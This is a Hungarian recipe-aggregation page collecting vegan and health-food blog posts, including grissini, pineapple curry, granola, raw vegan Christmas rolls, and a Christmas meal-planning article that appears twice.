Nagyon gyakran fogunk belőle főzni az már biztos! Első receptem a Fahéjas-Karamellás Granola lesz. :-) Mégegyszer gratulálunk! Dave Raspberry is külön gratulál. A képek alapján úgy jó 100 receptre rá is bökött, hogy mit látna szívesen. A születésnapi menüjét is ebből fogom főzni. Dobai Szabina, vásárló" Kattints ide és nézz bele a könyvbe!
Olaszos grissini
2017. február 1. Éltető ételek
Ha finom ropogtatnivalóra vágysz, akkor ezt mindenképp készítsd el. Önmagában is nagyon finom, de egy fincsi mártogatós felteszi az i-re a pontot. :) Állítólag másnapra egy kissé megpuhul, de ezt mi nem tudtuk megtapasztalni, mert azon nyomban mind elfogyott. Hozzávalók: - 25 dkg teljes kiőrlésű tönkölyliszt és fehér tönkölyliszt vegyesen - 1/2 teáskanál só - 2 evőkanál olívaolaj - 1 dkg élesztő - 3 db aszalt paradicsom (nekem most olajban eltett volt itthon) - 1 kávéskanál rozmaring (ha van friss, akkor mindenképp azt tegyél bele) - 1 szép duci fokhagyma - kb. 1 dl víz - frissen őrölt tarkabors - csipet kókuszcukor - extra: különböző olajos magvak, nagyszemű só Elkészítése: Egy kevés meleg vízbe morzsoljuk bele az élesztőt, és szórjuk bele a cukrot. Meleg helyre téve kb. 5 percig hagyjuk állni. Ezalatt az idő alatt felfut az élesztő.A paradicsomot daraboljuk fel, és botmixerezzük össze a vízzel.Minden alapanyagot keverjünk össze, és dagasszunk belőle rugalmas tésztát.Lefedve hagyjuk pihenni kb. 40-50 percig.A megkelt tésztát lisztezett felületre borítjuk, óvatosan téglalap formára igazítjuk, majd egy éles késsel vékony szeletet vágunk belőle. Megsodorjuk és az előkészített tepsire tesszük.Előmelegített sütőben (220 fok) 10-12 percig süssük. Amikor már kezd illatozni (kb. 6. perc környéke), óvatosan megforgatom a rudacskákat.
Ananászos keralan curry
Az év ezen időszakában a vonóhorog végére tűzött teniszlabda, a csaptelep és a gépzsír bizonyos szempontból hálásabb konyhai alapanyag, mint a paradicsom, a paprika vagy a padlizsán. Történetesen azért, mert előzőek non-stop szezonálisak, és januárban és júliusban is változatlan áron lehet hozzájuk jutni. Ám zöldségfronton a jégcsapretek a növényevők egyetlen mentsvára. Más kérdés, hogy csak igen keveseknek van türelme és kézügyessége jégből retket formázni, és a végeredmény sem lesz túl ízletes. (Állítólag a görög fűszerkeverék segíthet a dolgon, de a magam részéről bojkottálom a nátrium-glutamátot.) Sütőtök, cékla és krumpli! - vágnák rá egyesek, de dafke nem ezekből fogok alkotni, hogy bosszantsam a tudálékos fejüket.
Hanemakkor, a komponensek:
1/2 fej karfiol (óbazz, ez szezonális... na, mindegy, most már megfőztem, hogy rohadna meg!) 1 tk fehér mustármag 1/2 tk őrölt görögszénamag 1 tk kurkuma 1 marék szárított currylevél 5 cm reszelt vagy felaprított gyömbér 2 gerezd fokhagyma 6 szál zöldhagyma 1 piros chilipaprika 1/2 csokor koriander felaprítva (elhagyható, tekintve, hogy ilyenkor ritka, mint hawaii mintás hullazsák) 2 paradicsom felaprítva 1 ananász, jobb híján 400g-os konzerv 400g csicseriborsó (konzerves szintúgy) 400g kókusztej Válogatott szidalmak közepette (opcionális, én így szoktam) levágjuk a karfiol torzsáját és leveleit, majd kb. 1-2 cm vastag szeletekre vágjuk. Ezeket egy grillserpenyőn szárazon lepirítjuk. Egy másik serpenyőben cicázás nélkül olajat hevítünk, majd hozzáadjuk a mustármagot, a kurkumát és a curryleveleket. Ezt az elegyet egy percig kis lángon pirítjuk, majd jöhet a lereszelt gyömbér, fokhagyma, a felaprított zöldhagyma és a chili is. Hozzápasszítjuk a paradicsomot, a kókusztejet, a lecsepegtetett csicseriborsót, az ananászt levével együtt, legvégül a karfiolt, majd az egész hóbelevancot lefedve készre főzzük. Citromos-kardamomos rizsával kiváló párosítás.
Gyümölcsös kása
2017. január 21. Éltető ételek
Nem tagadom, imádom a kását, és azt, hogy ezerféleképpen el lehet készíteni. Én többnyire vízben sűrűre főzöm, majd ezt ízesítem mindenféle finomsággal. Hozzávalók: zabkása: - 1/2 zabpehely - 1 csésze víz - 1 evőkanál kókuszreszelék - késhegynyi vaníliapor - csipet só - 1 banán - 1,5 dl növényi tej - dió - extra: goji Elkészítése: A zabpelyhet mintegy 10 perc alatt főzd sűrűre. Hagyd kihűlni, majd kockázd fel.Tedd egy müzlis tálba, majd öntsd rá a tejet. Karikázd bele a banánt, szórd meg a dióval és a gojival.Jóízűen kanalazd be :)
Kávés diós sütemény (vegán)
2017. január 14. Zizi kalandjai
Egy külföldi munka kapcsán kellett készítenem egy kávés süteményt. Tanakodtam, hogy mivel is álljak elő, amikor eszembe jutott, hogy banánkenyér formába öntöm, teszek is bele banánt, hogy édesítse természetesen a süteményt, meg “össze is ragassza”, de nem banánkenyérnek fogom hívni, mert ez nem az. Angolul coffee cake-nek hívják… ez igazából azt jelenti, hogy van a tésztájában kávé, de azt is jelenti, hogy kávézáshoz ajánlott finomság.
Szóval banánkenyér alapot vettem, ahhoz adtam kávét, jó sok darált diót, vaníliát, juharszirupot… a tetejére pedig kókuszcukros aprított diót szórtam, hogy jó ropogós legyen. Elég sokáig sült a benne lévő nedves dolgok miatt (banán, kávé, rizstej), de egy óra után kivettem a sütőből, mert a tetején lévő dió különben megégett volna. A tészta nem maradt nyers, de ez egy igazán “nedves” , ragacsos, puha süti. Kávéhoz, teához, forró csokihoz ideális délutáni uzsonna, de délelőtti tízórainak is megteszi.
A benne lévő kávé miatt gyerekeknek nem ajánlom, de ha őket is meg akarjuk kínálni, akkor készíthetjük gabonakávéval is. No persze akkor nem lesz meg az a nagyon finom enyhén kávés íze (olyan “kapucíneres”), amitől isteni ez a sütemény. A család tesztelte, odáig voltak érte… főleg apukám, aki alig hagyott kóstolót a család többi tagjának!
Kávés diós sütemény (vegán)
Hozzávalók:
– 2 db érett banán, villával pépesre törve
– 130 g darált dió
– 135 g tönköly fehérliszt
– 125 ml kávé vagy gabonakávé
– 60 ml rizstej (vagy más növényi tej szobahőmérsékletű)
– 6 evőkanál juharszirup
– 3 evőkanál kókuszolaj (szobahőmérsékletű)
– 2 evőkanál őrölt lenmag
– 6 evőkanál víz
– 3 és 1/2 teáskanál foszfátmentes sütőpor
– 1/2 teáskanál őrölt vanília
– 1/2 teáskanál Himalaya só
– 80 g dió, aprítva + 3 evőkanál kókuszvirág cukor (tetejére)
Egy tálkában keverjük össze a lenmagot a vízzel és hagyjuk állni 6-8 percig, amíg zselés állagú lesz. Sütőpapírral béleljünk ki egy 23 cm-es püspökkenyér formát. Melegítsük elő a sütőt 180C fokra.
Egy tálban keverjük össze a száraz hozzávalókat: darált dió, liszt, vanília, só és sütőpor. Egy másik tálban keverjük össze a villával pépesre tört banánokat a kávéval, a rizstejjel, a kókuszolajjal, a juharsziruppal és a zselés állagú lenmag “tojással”. Öntsük a nedves hozzávalókat a szárazhoz és jól keverjük át a tésztát.
Öntsük az egészet a formába. Szórjuk meg a tetejét a kókuszcukros dióval és süssük az előmelegített sütőben 60-70 percig. Kivétel előtt azért végezzünk tűpróbát. Elképzelhető, hogy a tészta nedves még egy kicsit, de ennek ilyen az állaga már készen is.
Currys felesborsó leves kölessel
2017. január 13. Éltető ételek
Ez lehet egy gazdag krémleves, vagy akár egy lazább főzelék, a lényeg, hogy igazán laktató. A hüvelyes zöldséggel és gabonával társítva tökéletes, mindenféle tápanyagot tartalmaz, rostokban gazdag, kicsiknek és nagyoknak egyaránt javasolt. Nálam alapélelmiszer a hüvelyes, mindenféle van a spájzban. mint pl. fehér bab, tarka bab, chilis bab, mungóbab, csicseriborsó, vöröslencse, barna lencse, feles sárgaborsó, feles zöldborsó. Leveszöldség is mindig van itthon, és köles is. Úgyhogy indulhat a kreatív főzés kedvünkre. Hozzávalók: - 1 csésze feles zöld- és sárgaborsó vegyesen - 1,5 csésze kockára vágott vegyes zöldség (sárgarépa, petrezselyemgyökér, zeller) - 1 vöröshagyma - 2 duci fokhagyma - 2 kis marék köles - 1 evőkanál kókuszolaj - 2 babérlevél - himalája só, bors, chili, curry fűszerkeverék Elkészítése: - A borsót áztassuk be néhány órára, majd öblítsük le és a babérlevéllel együtt tegyük fel hideg vízben főzni. Kezdetben keletkező habot folyamatosan szedjük le róla. - Fedjük le, és lassú tűzön főzzük kb. 40 percig. Adjuk hozzá a felkockázott zöldségeket. - Közben egy serpenyőben olvasszuk fel a kókuszolajat és enyhén pirítsuk meg benne az apró kockára vágott hagymát és a reszelt fokhagymát. Öntsük a leveshez. - Amikor megpuhult a zöldség és a borsó is, botmixerezzük (a babérlevelet vegyük ki belőle), amennyire krémesre szeretnénk. Fűszerezzük - Tegyük bele az átmosott kölest, és 15 perc alatt főzzük puhára. Ekkor már szükség lehet időnként megkeverni, mert a leves sűrűje könnyen leragad.
Csupa aszalványos granola
Imádom az aszalt szilvát, így ebből a granolából sem maradhatott ki. Az a jó ebben a finomságban, hogy egyszerre akár dupla adagot is elkészíthetsz, így a reggeli hip-hop elkészül. Hiszen csak gyümölcsöt kell darabolnod, és egy kis (növényi) tejet kell ráöntened. Ha extra ropogósságra vágyunk, akkor a kása tetejét is megszórhatjuk vele, de egy chiamagos puding is jó barátságban van vele. Hozzávalók: - 25 dkg nagyszemű zabpehely - 15 dkg olajos mag (amit éppen szeretsz, kerülhet bele dió, mandula, kesudió, szezámmag vagy éppen pisztácia is) - 5 dkg aszalt szilva - 5 dkg aszalt barack - 5 dkg mazsola - 1 evőkanál kókuszolaj - 1/3 mokkáskanál vaníliapor - 1/3 mokkáskanál fahéj - 6-8 csepp narancsolaj Elkészítése: - A kén- és cukormentes aszalványokat vágd fel kis darabokra, és önts rá annyi vizet, amennyi éppen ellepi. Hagyd állni kb. 1 órát. - Az olajos magvakat vágd fel kis darabokra, vagy jól törd össze. - A megpuhult aszalványt botmixerezd. - Minden hozzávalót alaposan keverd össze. - Ezt a finom müzlit (így magában is nagyon finom) tedd egy zsírpapírral bélelt tepsibe. Előmelegített sütőben, 160 fokon pirítsd mintegy 20-30 percig. Időközben néhányszor keverd át. - Hagyd kihűlni, jó ropogós lesz. Zárható üvegbe tárold, hogy ne kapjon nedvességet.Jó étvágyat!
Gluténmentes kókuszos-csokis muffin
2016. december 27. Élj harmóniában
Nem szeretem a nagyon édes dolgokat. Igazából ez a muffin sem tartalmaz hozzáadott cukrot, mert csak datolyacukrot használtam hozzá, ami valójában aszalt datolya őrölve . N ekem nagyon nagy kedvenc lett ez a muffin, mert a hajdina liszt és quinoa liszt jellegzetes íze a kakaóval számomra nagyon ízletes eredmény:) Kávé és keserű csokoládé kedvelőknél ez a muffin előnyben:) Hozzávalók 1 csésze quinoa liszt 1 csésze hajdina liszt 1 csésze datolyacukor (teljes értékű nádcukrot is használhatsz helyette) 3 ek. lenmagliszt 3 tk. sütőpor 1 tk. szódabikarbóna 1/4 tk, vanília 1/3 csésze kókuszolaj 4 ek kakaó (cukrozatlan jó minőségű) 1/2 csésze kókuszreszelék 1,5 csésze víz Vegyszermentes (bio) alapanyagokat használj! Egy tálban keverd össze a liszteket, sütőport, szódabikarbónát, fűszereket, kakaót. Majd keverd hozzá a kókuszreszeléket és a kókuszzsírt. Majd végül a vizet adagold apránként és figyeld a tésztád állagát. Az egészet keverd gyorsan össze. Majd egy muffin formába (ha szükséges tegyél bele muffin papírt - 12 muffin lesz ebből a mennyiségből) adagold bele a tésztát. Tedd 180°C fokra előmelegített sütőbe és süsd készre . (kb. 20-25p)
Tápanyagban gazdag bejglik sütés nélkül, a diétás vendégeknek is (nyers vegán, gluténmentes, laktózmentes, tojásmentes)
2016. december 22. Zöld Avocado
Ha szeretnéd egy kicsit feldobni az idei karácsonyi bejgliket és biztosra menni, hogy minden glutén- és/vagy laktózérzékeny, illetve vegán vendéged is bátran ehessen az édességből, akkor itt van 3 nagyszerű recept, amivel tutira mehetsz! Az előző receptben sütésmentes, tápanyagban gazdag datolyagolyókat hoztam nektek 7 féle ízben. Most ehhez hasonló nyers vegán bejgliket és a keksztekercshez hasonló ízvilágú "kókusztekercset" szeretnék megmutatni. Egyszerűen elkészíthetőek, sütést sem igényelnek és szinte minden diétába beleférnek ezek a finom desszertek. Akár már hetekkel korábban elkészíthetjük és a fagyasztóban tárolva várhatják a napot, amikor a vendégek elé kerülnek az ünnepi asztalra. Nekem kifejezetten jól esnek az ilyen könnyen emészthető, gyomrot nem terhelő édességek, a tartalmas karácsonyi menü után. Fogadjátok sok szeretettel őket! nyers vegán bejglik és "kókusztekercs" (glutén- és laktózmentes, vegán) HOZZÁVALÓK mákos bejglihez: - 100 g darált mandula - 150 g magnélküli datolya - 100 g darált mák - 1 db bio citrom reszelt héja (kezeletlen héjú lehetőleg) diós bejglihez: - 100 g darált kesudió - 100 g aszalt szilva - 1 tk őrölt fahéj - 100 g dió (lehet 50 g pekán és 50 g sima dió is) - 1 db narancs reszelt héja kókuszos tekercshez: - 100 g darált mandula - 150 g magozatlan datolya - 100 g kókusz reszelék - 200 ml kókuszkrém - 1 ek útifűmaghéj - 2 ek karob por nyers vegán bejglik és "kókusztekercs" (glutén- és laktózmentes, vegán) ELKÉSZÍTÉS Előáztatjuk a datolyát és az aszalt szilvát is min. 3-4 órára, a diót/pekán diót min. 24 órára, míg a kesu diót min. 10-12 órára. (A mandulát úgyszintén, kivéve, ha bolti darált mandulát használunk.) A MÁKOS BEJGLI készítésénél 1) az áztató víz nélküli datolyát megfelezzük. Az egyik felét (50 g) a darált mandulával a nagy teljesítményű turmixgépbe tesszük, és egyneművé dolgoztatjuk vele. A cél, hogy egy kézzel is jól gyurmázható, egynemű tésztát kapjunk. Ezt két folpack között (nyers sütiknél hasznos, mert így nem ragad a sodrófára a tészta, és sokkal könnyebb felszedni a nyújtódeszkáról is.) kinyújtjuk téglalap alakúra. 2) A mákos töltelékhez a darált mákot, a reszelt citromhéjjal, és a maradék datolyával szintén a gépbe tesszük, és egyneművé dolgoztatjuk vele. Ha nagyon szemcsés maradna 1-2 ek tiszta vizet tehetünk hozzá. 3) Ezzel a mákos krémmel megkenjük a már kinyújtott mandulás tésztalapot, majd egy kanál hátuljával kicsit elegyengetjük a mákot, hogy ne hulljon morzsákra, és hozzáragadjon az alaptésztához. 4) Az alsó folpack segítségével (ezen van a töltött tésztánk) elkezdjük óvatosan feltekerni a bejglit, mint, ahogyan azt az eredeti bejglivel is tennénk. 5) Miután feltekertük, a folpack-kal becsomagolva mehet a hűtőbe min. egy éjszakára. Sokkal könnyebb szeletelni, ha előtte állt a hűtőben egy pár órát. A DIÓS BEJGLINÉL a mákoshoz hasonlóan 1) a kesut és az aszalt szilva felét, a reszelt narancs héjával összedolgozzuk, majd kinyújtjuk két folpack között. 2) A diós töltelékhez a diót és az aszalt szilva másik felét, a fahéjjal összedolgoztatjuk a gépünkkel, majd a krémet, amit kaptunk, rákenjük a kinyújtott kesu lapra. 3) Óvatosan feltekerjük, be a hűtőbe, és kész is. A KÓKUSZOS TEKERCSHEZ 1) ugyanazt a mandulás alapot elkészítjük, mint a mákosnál, azzal a különbséggel, hogy teszünk bele karob port is, amitől ,,csokis lesz a tészta. 2) A kókuszos töltelékhez a kókuszreszeléket megdaráljuk kávédarálón, hogy minél kisebb szemű legyen, szinte porszerű. 3) Hozzáadjuk a kókuszkrémet és az útifűmaghéjat. Összekeverjük, majd rákenjük a kinyújtott ,,csokis tésztára. 4) Óvatosan feltekerjük, és mehet is be a hűtőbe éjszakára. nyers vegán bejglik és "kókusztekercs" (glutén- és laktózmentes, vegán) Kellemes Karácsonyi Készülődést kívánok mindenkinek és Karácsonykor se feledjétek: Táplálkozz, ne csak étkezz! ;-)
Tudatos felkészülés a karácsonyra – 8. rész Az étkezés
2016. december 19. Eszemiszom – Jóga Magazin
Ne engedd, hogy a karácsonyi készülődés feleméssze minden energiádat és pénzedet
A karácsonyi ünnepek idején sok családban az étkezés központi helyet foglal el – vannak olyan családok is, ahol szinte másról sem szól a szeretet ünnepe, mint az evésről. Megannyi statisztika támasztja alá, hogy az ünnepi időszak alatt az emberek jelentős része a normál – általában elfogyasztott – mennyiségű élelmiszer többszörösét vásárolja meg, készíti el és fogyasztja el. Majd az ünnepi hangulat helyett, sokaknak okoz a nagy mennyiségben elfogyasztott mindenféle egészségtelen étel, nehéz emésztést, emésztési problémákat, mindenféle fájdalmakat, elnehezültséget. tunyaságot. Az emésztési problémák miatt a gyengülő immunrendszer következtében az ünnepek után sokan megbetegszenek, mert már az első kórokozó is betegsége t vált ki belőlük. Sajnos a tudatos táplálkozás hiánya miatt a karácsonyi időszakban hatalmas mennyiségben fogynak a patikákban a különböző emésztést segítő gyógyszerek, tabletták, készítmények.
Nem kell, hogy a karácsonyod az emésztési kínokról szóljon. Kis odafigyeléssel, tudatossággal elérheted, hogy az ünnepek alatt friss, ízletes, tápláló ételeket egyél Te és a családod is és az étkezés után energikusnak, könnyednek érezzétek magatokat.
Ahhoz, hogy a pénzedet és az energiádat se pazarold és kiváló legyen a közérzeted, tervezd meg előre a karácsonyi időszak menüit – mindenből csak annyi főre tervezz, ahányan lesztek. Azért mert karácsony van, senkinek nem kell és nem is érdemes három ember helyett ennie. A menü összeállításánál törekedj inkább arra, hogy friss, egészséges legyen és arra, hogy ne vállald túl magad a konyhai feladatokkal.
Nem érdemes túl bonyolult ételeket készíteni, hasznosabb ha több időt töltesz a családoddal és egyszerű, gyorsan elkészíthető, friss egészséges, ízletes ételeket választasz a karácsonyi menühöz. Itt is vedd figyelembe a kevesebb néha több elvet. Inkább a minőségi ételeken legyen a hangsúly, mint a mennyiségen. Inkább a friss, egyszerű és egészséges ételeket preferáld, mint a bonyolult, egészségre kevésbé kedvező ételeket.
A karácsonyi menüt friss, egészséges, vegyszermentes (bio) alapanyagokból készítsd el és annyit ételt főzz, amennyit jólesően el is fogyaszt a család.
A karácsony lényege a hangulat, az hogy a családoddal harmonikusan, szeretetben tudj közösen időt tölteni. Amennyiben a szeretet és harmónia elmarad, azt semmilyen étellel nem lehet pótolni. nem érdemes a karácsonyi menü miatt elégedetlenkedni, veszekedni.
A megtervezett menühöz írd össze az alapanyagokat és ha teheted, interneten keresztül rendeld meg, így elkerülheted a boltokban és az utcákon, bevásárlóközpontokban való tolongást és több szabadidőd is marad, amit együtt tudtok tölteni a családoddal.
Törekedj a mértéktartó étkezésre és a friss, minőségi ételek fogyasztására, hogy jól indulhasson a következő éved:)
Néhány javaslat a blogról a karácsonyi menühöz – a linkre kattintva eléred a receptet. A receptek nem tartalmaznak húst, halat, tojást, azaz alapvetően laktovegetáriánus receptek, de sok van köztük ami laktózmentes, gluténmentes ételek. Nézelődj kedvedre:)
Édes sütemények, kekszek
Citromos vaníliás keksz
Reform csokis keksz
Egyszerű kókuszos zabpelyhes keksz
Karácsonyi keksz teljes kiőrlésű liszttel
Házi készítésű cukormentes csokoládé
Teljes kiőrlésű tönkölykeksz naranccsal és mandulával
Narancsos mazsolás keksz
Gluténmentes, laktózmentes, cukormentes vaníliás keksz
Zablisztes almás-diós muffin
Gluténmentes, tejmentes, cukormentes köles desszert
Házi készítésű mogyorós csokoládé
Egyszerű, sült túrótorta
Kókuszos, kakaós tönkölysütemény
Reform almás szamósza
Tejmentes sütőtökös muffin
Gluténmentes muffin
Teljes kiőrlésű, tojásmentes linzer
Reform almás pite tönkölybúzaliszttel
Tejmentes, tojásmentes mandulás muffin
Gluténmentes, cukormentes, tejmentes meggyes muffin
Shortbread keksz – reform változat
Bögrés mákos sütemény
Gluténmentes bögrés süti
Sós vendégvárók
Egyszerű sós stangli
Élesztőmentes, gyors túrós vendégváró
Gyors, élesztőmentes tejfölös pogácsa
Gluténmentes sós muffin
Cukkinis, pirított napraforgómagos minikifli
Gyors hummuszkrém
Élesztőmentes cukkinis pogácsa
Ebéd vagy vacsora ételek
Indiai Dhal – mungbab leves
Quinoa, brokkolis zöldségekkel
Sült padlizsános, sült házi sajtos főétel
Káposztás subji – ízletes fűszeres káposztás étel
Vegyes zöldséges subji – zöldséges főétel
Cukkini-burgonya curry
Hummusz
Sütőtökös subji
Zöldséges, csicseriborsós kuszkusz
Kitri (kichari)
Vöröslencsés, zöldséges lasagne
Gluténmentes zöldségfasírt
Polenta krémesen, párolt zöldségekkel
Gluténmentes zöldséges lepény
Zöldséges polenta pizza
Fűszeres vöröslencse dhal, aszalt paradicsomos, sajtkrémes muffinnal
Sütőben sült köles kása
Sütőben sült fűszeres karfiol
Céklás zöldségek hajdinával
Gyors, egyszerű csicseriborsós curry
Zöldséges pizza
Pudla, gluténmentes indiai lepény
Baszmati rizs zöldségekkel, korianderrel
Feketemustármagos zöldbab paradicsomszószban
Fűszeres sült, sütőtök
Édesköményes lepény
Mindenféle finomságok
Chapati – indiai lepénykenyér
Gyömbér tea
Alma csatni
Szilva csatni (sós, édes,csípő finomság)
Quacamole
Uborka raita
Reggeli mandulaturmix
Datolyás tejturmix
Krémes zabkása dióval és mazsolával
Pirított, párolt gyümölcsök – ájurvédikus reggeli
Házi joghurt készítése
Gyors, élesztőmentes kenyér
Jó étvágyat kívánok:)
szeretettel:
Kati
Tudatos felkészülés a karácsonyra - 8. rész Az étkezés
2016. december 6. Élj harmóniában
Ne engedd, hogy a karácsonyi készülődés feleméssze minden energiádat és pénzedet A karácsonyi ünnepek idején sok családban az étkezés központi helyet foglal el - vannak olyan családok is, ahol szinte másról sem szól a szeretet ünnepe, mint az evésről. Megannyi statisztika támasztja alá, hogy az ünnepi időszak alatt az emberek jelentős része a normál - általában elfogyasztott - mennyiségű élelmiszer többszörösét vásárolja meg, készíti el és fogyasztja el. Majd az ünnepi hangulat helyett, sokaknak okoz a nagy mennyiségben elfogyasztott mindenféle egészségtelen étel, nehéz emésztést, emésztési problémákat, mindenféle fájdalmakat, elnehezültséget. tunyaságot. Az emésztési problémák miatt a gyengülő immunrendszer következtében az ünnepek után sokan megbetegszenek, mert már az első kórokozó is betegsége t vált ki belőlük. Sajnos a tudatos táplálkozás hiánya miatt a karácsonyi időszakban hatalmas mennyiségben fogynak a patikákban a különböző emésztést segítő gyógyszerek, tabletták, készítmények. Nem kell, hogy a karácsonyod az emésztési kínokról szóljon. Kis odafigyeléssel, tudatossággal elérheted, hogy az ünnepek alatt friss, ízletes, tápláló ételeket egyél Te és a családod is és az étkezés után energikusnak, könnyednek érezzétek magatokat. Ahhoz, hogy a pénzedet és az energiádat se pazarold és kiváló legyen a közérzeted, tervezd meg előre a karácsonyi időszak menüit - mindenből csak annyi főre tervezz, ahányan lesztek. Azért mert karácsony van, senkinek nem kell és nem is érdemes három ember helyett ennie. A menü összeállításánál törekedj inkább arra, hogy friss, egészséges legyen és arra, hogy ne vállald túl magad a konyhai feladatokkal. Nem érdemes túl bonyolult ételeket készíteni, hasznosabb ha több időt töltesz a családoddal és egyszerű, gyorsan elkészíthető, friss egészséges, ízletes ételeket választasz a karácsonyi menühöz. Itt is vedd figyelembe a kevesebb néha több elvet. Inkább a minőségi ételeken legyen a hangsúly, mint a mennyiségen. Inkább a friss, egyszerű és egészséges ételeket preferáld, mint a bonyolult, egészségre kevésbé kedvező ételeket. A karácsonyi menüt friss, egészséges, vegyszermentes (bio) alapanyagokból készítsd el és annyit ételt főzz, amennyit jólesően el is fogyaszt a család. A karácsony lényege a hangulat, az hogy a családoddal harmonikusan, szeretetben tudj közösen időt tölteni. Amennyiben a szeretet és harmónia elmarad, azt semmilyen étellel nem lehet pótolni. nem érdemes a karácsonyi menü miatt elégedetlenkedni, veszekedni. A megtervezett menühöz írd össze az alapanyagokat és ha teheted, interneten keresztül rendeld meg, így elkerülheted a boltokban és az utcákon, bevásárlóközpontokban való tolongást és több szabadidőd is marad, amit együtt tudtok tölteni a családoddal. Törekedj a mértéktartó étkezésre és a friss, minőségi ételek fogyasztására, hogy jól indulhasson a következő éved:) Néhány javaslat a blogról a karácsonyi menühöz - a linkre kattintva eléred a receptet. A receptek nem tartalmaznak húst, halat, tojást, azaz alapvetően laktovegetáriánus receptek, de sok van köztük ami laktózmentes, gluténmentes ételek. Nézelődj kedvedre:) Édes sütemények, kekszek Citromos vaníliás keksz Reform csokis keksz Egyszerű kókuszos zabpelyhes keksz Karácsonyi keksz teljes kiőrlésű liszttel Házi készítésű cukormentes csokoládé Teljes kiőrlésű tönkölykeksz naranccsal és mandulával Narancsos mazsolás keksz Gluténmentes, laktózmentes, cukormentes vaníliás keksz Zablisztes almás-diós muffin Gluténmentes, tejmentes, cukormentes köles desszert Házi készítésű mogyorós csokoládé Egyszerű, sült túrótorta Kókuszos, kakaós tönkölysütemény Reform almás szamósza Tejmentes sütőtökös muffin Gluténmentes muffin Teljes kiőrlésű, tojásmentes linzer Reform almás pite tönkölybúzaliszttel Tejmentes, tojásmentes mandulás muffin Gluténmentes, cukormentes, tejmentes meggyes muffin Shortbread keksz - reform változat Bögrés mákos sütemény Gluténmentes bögrés süti Sós vendégvárók Egyszerű sós stangli Élesztőmentes, gyors túrós vendégváró Gyors, élesztőmentes tejfölös pogácsa Gluténmentes sós muffin Cukkinis, pirított napraforgómagos minikifli Gyors hummuszkrém Élesztőmentes cukkinis pogácsa Ebéd vagy vacsora ételek Indiai Dhal - mungbab leves Quinoa, brokkolis zöldségekkel Sült padlizsános, sült házi sajtos főétel Káposztás subji - ízletes fűszeres káposztás étel Vegyes zöldséges subji - zöldséges főétel Cukkini-burgonya curry Hummusz Sütőtökös subji Zöldséges, csicseriborsós kuszkusz Kitri (kichari) Vöröslencsés, zöldséges lasagne Gluténmentes zöldségfasírt Polenta krémesen, párolt zöldségekkel Gluténmentes zöldséges lepény Zöldséges polenta pizza Fűszeres vöröslencse dhal, aszalt paradicsomos, sajtkrémes muffinnal Sütőben sült köles kása Sütőben sült fűszeres karfiol Céklás zöldségek hajdinával Gyors, egyszerű csicseriborsós curry Zöldséges pizza Pudla, gluténmentes indiai lepény Baszmati rizs zöldségekkel, korianderrel Feketemustármagos zöldbab paradicsomszószban Fűszeres sült, sütőtök Édesköményes lepény Mindenféle finomságok Chapati - indiai lepénykenyér Gyömbér tea Alma csatni Szilva csatni (sós, édes,csípő finomság) Quacamole Uborka raita Reggeli mandulaturmix Datolyás tejturmix Krémes zabkása dióval és mazsolával Pirított, párolt gyümölcsök - ájurvédikus reggeli Házi joghurt készítése Gyors, élesztőmentes kenyér Jó étvágyat kívánok:) szeretettel: Kati
Az Édenkert Ígérete
A vörös a karácsony legfontosabb színe. Amellett, hogy melegséget áraszt, és a sötét napokon feltölt minket energiával, különleges jelentést is hordoz ezekben a hetekben.
Történeti kutatások arra jutottak, hogy a piros a tudás almájára utalt eredetileg, miután Ádám és Éva ősbűnét írta Jézus felül. A karácsonyfán lévő vörös gömbök pedig az Édenkert almáit hivatottak jelképezni, és azt üzenik, hogy az emberiség számára lehetséges még a visszatérés a Paradicsomba.
Ezek után nem is volt kétséges számomra, hogy ezt a gyönyörű, élénk színt szeretném viszontlátni a különszámba szánt receptemben is. A hogyanra válasz pedig természetesen a fantasztikus cékla, ami szükségtelenné teszi fagyasztott gyümölcsök vagy akár ételfesték használatát.
Félni nem kell tőle, dehogy lesz ebből cékla süti! A cékla színe jóval megelőzi az ízét.
A "tészta"
- 100 g aszalt szilva
- 50-50 g dió és mandula
- 40 g zabpehely
- 15 g cukor
- 60 ml tej
- 1 csipet só
A "java"
- 350 nyers sütőtök
- 75 g nyers cékla
- 80 g cukor
- 40 ml tej
- 1/2 narancs héja
- 1 púpozott mokkáskanál fahéj
- 5 csipet őrölt szegfűszeg
- 30 g étkezési keményítő
- A sütőtököt és a céklát hámozzuk meg, és vágjuk kockára. Külön-külön tegyük fel őket főni annyi vízben, ami ellepi. A sütőtök 10 perc alatt megpuhul, a céklának kellhet 20-30 perc is. Ezalatt készítsük el a tésztát.
- A tészta hozzávalóit tegyük késes aprítóba, és addig pörgessük, amíg labdává össze nem áll. Ehhez párszor le kell kapargatni a darabokat a kehely oldaláról, de ne csüggedjünk, hamarabb eljön a végeredmény, mint várnánk.
- Egy kb. 15-20 cm-es sütőformát béleljünk ki sütőpapírral, és nyomkodjuk le bele a sütemény alapját.
- A puhára főtt céklát és sütőtököt szűrjük le. A keményítőt oldjuk fel a tejben, öntsük hozzá, majd adjuk hozzá a krém többi anyagát is. Pépesítsük egy botmixer segítségével.
- A krémet tegyük vissza a tűzre, és állandó kevergetés mellett rotyogtassuk pár percet. Akkor jó, amikor hirtelen besűrűsödik. Ekkor öntsük az alapra, és simítsuk el a tetejét.
- Tegyük hideg helyre pár órára, hogy megdermedhessen. Díszítsük narancshéjjal, kókuszreszelékkel.
Jó étvágyat! Elkészítési idő: 30 perc
Tetszett ez a recept? Iratkozz fel a Hírlevélre, és mellé töltsd le az ajándékot ITT
Szupergyors Édességek és Szupergyors Vacsorák receptfüzet:
Kókuszos sütőtök torta (vegán, gluténmentes)
2016. november 28. Zizi kalandjai
Sütöttem már sütőtökös pitét régen, de az nem volt vegán. Elkezdtem gondolkodni, hogyan lehetne jó linzertészta alapot készíteni lisztből és kókuszzsírból, de a végére rájöttem, hogy leegyszerűsítem a dolgot úgy, hogy sütni se kelljen, csak a robotgépbe bedobálni mindent. A gyerekek mellett ez nagyon praktikus döntésnek bizonyult. Egyelőre a túlélésre játszom a konyhában, az éppen szükséges dolgokat főzöm meg, de extra sütésre, sütemény készítésre nincs időm, vagy lehetőségem. Nem tudom ezt mások hogyan csinálják, én két kicsi gyerek mellett nagyon nehezen tudom kivitelezni. De persze néha vannak kivételes alkalmak… amikor Ádit is be tudom vonni és segít például az alapanyagokat beletenni a robotgépbe, aztán persze meg is akar kóstolni mindent. Mindenből egy picit… hogy az ízek összeálltak-e.
